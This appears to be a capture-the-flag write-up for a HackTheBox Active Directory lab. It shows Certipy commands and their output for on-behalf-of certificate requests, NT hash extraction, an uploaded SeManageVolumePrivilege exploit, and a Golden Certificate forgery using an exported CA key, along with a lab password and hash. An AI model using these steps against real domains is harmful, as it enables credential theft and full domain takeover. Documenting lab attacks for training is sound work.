Using the lion.sk.pfx certificate, I attempted to request a new certificate for the target user. Since the previous attempt showed an email address was required, I tried adding @certificate.htb to the username, but this also failed.

certipy request another cert
1sudo certipy req -dc-ip 10.10.11.71 -u lion.sk -p '!QAZ2wsx' -ca 'Certificate-LTD-CA' -template 'SignedUser' -on-behalf-of 'CERTIFICATE\Administrator' -pfx lion.sk.pfx -debug 2Certipy v5.0.3 - by Oliver Lyak (ly4k) 3 4[+] Nameserver: '10.10.11.71' 5[+] DC IP: '10.10.11.71' 6[+] DC Host: None 7[+] Target IP: '10.10.11.71' 8[+] Remote Name: '10.10.11.71' 9[+] Domain: '' 10[+] Username: 'LION.SK' 11[+] Generating RSA key 12[*] Requesting certificate via RPC 13[+] Trying to connect to endpoint: ncacn_np:10.10.11.71[\pipe\cert] 14[+] Connected to endpoint: ncacn_np:10.10.11.71[\pipe\cert] 15[*] Request ID is 23 16[-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name. 17Would you like to save the private key? (y/N):

Since the previous attempt failed because the Administrator account lacks an email, I needed to find a high-privilege user that does have one.

First, I ran a PowerShell command to list all Active Directory users and their email addresses.

This confirmed the Administrator has no email, but several other users do.Next, to find a valuable target, I enumerated domain groups and found one that looked promising: Domain Storage Managers.

Checking its members revealed the user Ryan.Since 'Ryan' is in a privileged group and has an email address, he became the new target.

I then used our agent certificate (lion.sk.pfx) to request a new certificate on behalf of Ryan.K.The request was successful, and as the output shows, the certificate and private key for Ryan were saved to the file ryan.k.pfx.

cmd
1*Evil-WinRM* PS C:\Users\Lion.SK\Documents> Get-ADUser -Filter * -Properties mail | Select-Object Name, Mail 2 3Name Mail 4---- ---- 5Administrator 6Guest 7krbtgt 8Kai kai.x@certificate.htb 9Sara sara.b@certificate.htb 10John john.c@certificate.htb 11Aya aya.w@certificate.htb 12Nya nya.s@certificate.htb 13Maya maya.k@certificate.htb 14Lion lion.sk@certificate.htb 15Eva eva.f@certificate.htb 16Ryan ryan.k@certificate.htb 17Akeder Kham 18Kara Marcos 19Alex Disel alex.d@certificate.htb 20Karol Sam 21Saad Maher saad.m@certificate.htb 22xamppuser 23*Evil-WinRM* PS C:\Users\Lion.SK\Documents> get-adgroup -filter * 24 25DistinguishedName : CN=Domain Storage Managers,CN=Users,DC=certificate,DC=htb 26GroupCategory : Security 27GroupScope : Global 28Name : Domain Storage Managers 29ObjectClass : group 30ObjectGUID : 44132c8b-275b-49e9-9cd0-ba990e4a076c 31SamAccountName : Domain Storage Managers 32SID : S-1-5-21-515537669-4223687196-3249690583-1118 33 34 35*Evil-WinRM* PS C:\Users\Lion.SK\Documents> get-adgroupmember "Domain Storage Managers" 36 37 38distinguishedName : CN=Ryan,CN=Users,DC=certificate,DC=htb 39name : Ryan 40objectClass : user 41objectGUID : e52c9cd2-d404-43bf-b5f6-e2bb09a942b2 42SamAccountName : Ryan.K 43SID : S-1-5-21-515537669-4223687196-3249690583-1117 44 45certipy req -u lion.sk -p '!QAZ2wsx' -ca 'Certificate-LTD-CA' -target certificate.htb -template 'SignedUser' -on-behalf-of 'CERTIFICATE\Ryan.K' -pfx lion.sk.pfx 46Certipy v5.0.3 - by Oliver Lyak (ly4k) 47 48[!] DNS resolution failed: The DNS query name does not exist: certificate.htb. 49[!] Use -debug to print a stacktrace 50[*] Requesting certificate via RPC 51[*] Request ID is 26 52[*] Successfully requested certificate 53[*] Got certificate with UPN 'Ryan.K@certificate.htb' 54[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1117' 55[*] Saving certificate and private key to 'ryan.k.pfx' 56[*] Wrote certificate and private key to 'ryan.k.pfx'

To get the NTLM hash needed for Evil-WinRM, I'll use the ryan.k.pfx certificate to request a Kerberos TGT. First, I'm syncing my time with the server using ntpdate to ensure the Kerberos request doesn't fail.

tgt
1certipy auth -pfx ryan.k.pfx -dc-ip 10.10.11.71 -debug 2Certipy v5.0.3 - by Oliver Lyak (ly4k) 3 4[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations 5[+] Nameserver: '10.10.11.71' 6[+] DC IP: '10.10.11.71' 7[+] DC Host: '' 8[+] Target IP: '10.10.11.71' 9[+] Remote Name: '10.10.11.71' 10[+] Domain: '' 11[+] Username: '' 12[*] Certificate identities: 13[*] SAN UPN: 'Ryan.K@certificate.htb' 14[*] Security Extension SID: 'S-1-5-21-515537669-4223687196-3249690583-1117' 15[+] Found SID in security extension: 'S-1-5-21-515537669-4223687196-3249690583-1117' 16[*] Using principal: 'ryan.k@certificate.htb' 17[*] Trying to get TGT... 18[+] Sending AS-REQ to KDC certificate.htb (10.10.11.71) 19[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 20Traceback (most recent call last): 21 File "/usr/share/certipy/venv/lib/python3.13/site-packages/certipy/commands/auth.py", line 596, in kerberos_authentication 22 tgt = sendReceive(as_req, domain, self.target.target_ip) 23 File "/usr/share/certipy/venv/lib/python3.13/site-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive 24 raise krbError 25impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) 26[-] See the wiki for more information

after update time this is the NTLM hash.

NTLm
1certipy auth -pfx ryan.k.pfx 2Certipy v4.8.2 - by Oliver Lyak (ly4k) 3[*] Using principal: ryan.k@certificate.htb 4[*] Trying to get TGT... 5[*] Got TGT 6[*] Saved credential cache to 'ryan.k.ccache' 7[*] Trying to retrieve NT hash for 'ryan.k' 8[*] Got hash for 'ryan.k@certificate.htb': 9aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6

Summery

Our attack was a multi-step process. First, we obtained a 'Certificate Request Agent' certificate, which gave us the ability to act on behalf of other users. We then used this certificate to request a new one for our target user, 'Ryan'. Finally, to gain shell access with Evil-WinRM, we used Ryan's certificate to request a Kerberos TGT, from which we extracted the NTLM hash needed to log in.

Lateral Movement 4

Post-exploitation enumeration as ryan.k revealed the user possesses SeManageVolumePrivilege. This privilege allows for bypassing file system ACLs, enabling direct read/write access to all data on a volume, which is a clear path for further privilege escalation read more.

lateral movement 4 cmd
1*Evil-WinRM* PS C:\Users\Ryan.K\Documents> whoami /all 2 3USER INFORMATION 4---------------- 5 6User Name SID 7================== ============================================= 8certificate\ryan.k S-1-5-21-515537669-4223687196-3249690583-1117 9 10 11GROUP INFORMATION 12----------------- 13 14Group Name Type SID Attributes 15========================================== ================ ============================================= ================================================== 16Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group 17BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group 18BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group 19BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group 20BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group 21NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group 22NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group 23NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group 24CERTIFICATE\Domain Storage Managers Group S-1-5-21-515537669-4223687196-3249690583-1118 Mandatory group, Enabled by default, Enabled group 25NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group 26Mandatory Label\Medium Mandatory Level Label S-1-16-8192 27 28 29PRIVILEGES INFORMATION 30---------------------- 31 32Privilege Name Description State 33============================= ================================ ======= 34SeMachineAccountPrivilege Add workstations to domain Enabled 35SeChangeNotifyPrivilege Bypass traverse checking Enabled 36SeManageVolumePrivilege Perform volume maintenance tasks Enabled 37SeIncreaseWorkingSetPrivilege Increase a process working set Enabled 38 39 40USER CLAIMS INFORMATION 41----------------------- 42 43User claims unknown.

To leverage the SeManageVolumePrivilege, I found a pre-compiled exploit on GitHub (SeManageVolumeExploit). I uploaded and executed this tool, which successfully gave me access to the root of the C: drive. However, while I could now see the root.txt file, I discovered it was encrypted with the Encrypting File System (EFS). This means that to read the file, we need the private key of the user who encrypted it, which in this case is the Administrator. The easiest way to get that key is by obtaining the Administrator's NTLM hash.

exploit
1*Evil-WinRM* PS C:\Users\Ryan.K> upload SeManageVolumeExploit.exe 2 3Info: Uploading /home/mohe/SeManageVolumeExploit.exe to C:\Users\Ryan.K\SeManageVolumeExploit.exe 4 5Data: 16384 bytes of 16384 bytes copied 6 7Info: Upload successful! 8*Evil-WinRM* PS C:\Users\Ryan.K> .\SeManageVolumeExploit.exe 9Entries changed: 860 10 11DONE 12*Evil-WinRM* PS C:\Users\Ryan.K> dir \users\administrator\desktop 13 14 15 Directory: C:\users\administrator\desktop 16 17 18Mode LastWriteTime Length Name 19---- ------------- ------ ---- 20-ar--- 10/17/2025 11:02 AM 34 root.txt 21*Evil-WinRM* PS C:\Users\Ryan.K> dir \users\administrator\desktop 22 23 24 Directory: C:\users\administrator\desktop 25 26 27Mode LastWriteTime Length Name 28---- ------------- ------ ---- 29-ar--- 10/17/2025 11:02 AM 34 root.txt 30 31 32*Evil-WinRM* PS C:\Users\Ryan.K> cd C:\users\administrator\desktop 33*Evil-WinRM* PS C:\users\administrator\desktop> cipher root.txt 34 35 Listing C:\users\administrator\desktop\ 36 New files added to this directory will be encrypted. 37 38E root.txt

Golden Certificate Attack

a Golden Certificate attack is when an attacker steals or extracts a Certificate Authority’s (CA) private key (usually from a compromised AD CS server) and uses it to forge valid certificates that impersonate any identity in the domain — giving near‑complete, stealthy persistence and impersonation (similar in effect to a Kerberos “Golden Ticket”).

since the master certificate is “Certificate-LTD-CA” also you can run certutil -store Root to see all the root/master cert.and to get the serial number to request the root certification.

code
1Evil-WinRM* PS C:\Users\Ryan.K\Documents> certutil -store Root 2 3 4================ Certificate 3 ================ 5Serial Number: 75b2f4bbf31f108945147b466131bdca 6Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb 7 NotBefore: 11/3/2024 3:55 PM 8 NotAfter: 11/3/2034 4:05 PM 9Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb 10Certificate Template Name (Certificate Type): CA 11CA Version: V0.0 12Signature matches Public Key 13Root Certificate: Subject matches Issuer 14Template: CA, Root Certification Authority 15Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8 16 Key Container = Certificate-LTD-CA 17 Provider = Microsoft Software Key Storage Provider 18Missing stored keyset 19CertUtil: -store command completed successfully. 20

then request the root certification using it's serial number and download it to the local machine.

export ccert
1*Evil-WinRM* PS C:\Users\public\temp> certutil -exportpfx 75b2f4bbf31f108945147b466131bdca .\ca.pfx 2MY "Personal" 3================ Certificate 3 ================ 4Serial Number: 75b2f4bbf31f108945147b466131bdca 5Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb 6 NotBefore: 11/3/2024 3:55 PM 7 NotAfter: 11/3/2034 4:05 PM 8Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb 9Certificate Template Name (Certificate Type): CA 10CA Version: V0.0 11Signature matches Public Key 12Root Certificate: Subject matches Issuer 13Template: CA, Root Certification Authority 14Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8 15 Key Container = Certificate-LTD-CA 16 Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958 17 Provider = Microsoft Software Key Storage Provider 18Signature test passed 19Enter new password for output file .\ca.pfx: 20Enter new password: 21Confirm new password: 22CertUtil: -exportPFX command completed successfully. 23*Evil-WinRM* PS C:\Users\public\temp> dir 24 25 26 Directory: C:\Users\public\temp 27 28 29Mode LastWriteTime Length Name 30---- ------------- ------ ---- 31-a---- 10/18/2025 7:32 AM 2675 ca.pfx 32 33 34*Evil-WinRM* PS C:\Users\public\temp> download ca.pfx 35 36Info: Downloading C:\Users\public\temp\ca.pfx to ca.pfx

after getting the exported CA certification (golden) let’s get the certification for the admin.

admin certification
1certipy forge -ca-pfx ca.pfx -upn 'administrator@certificate.htb' -out forged_administrator.pfx 2Certipy v5.0.3 - by Oliver Lyak (ly4k) 3 4[*] Saving forged certificate and private key to 'forged_administrator.pfx' 5[*] Wrote forged certificate and private key to 'forged_administrator.pfx'

To obtain the Administrator's NTLM hash, I'll use the forged certificate (forged_administrator.pfx) with certipy auth. This will perform a PKINIT authentication to get a TGT, from which Certipy will extract the required hash. same as did before in ryan.k account.

Published Oct 18, 2025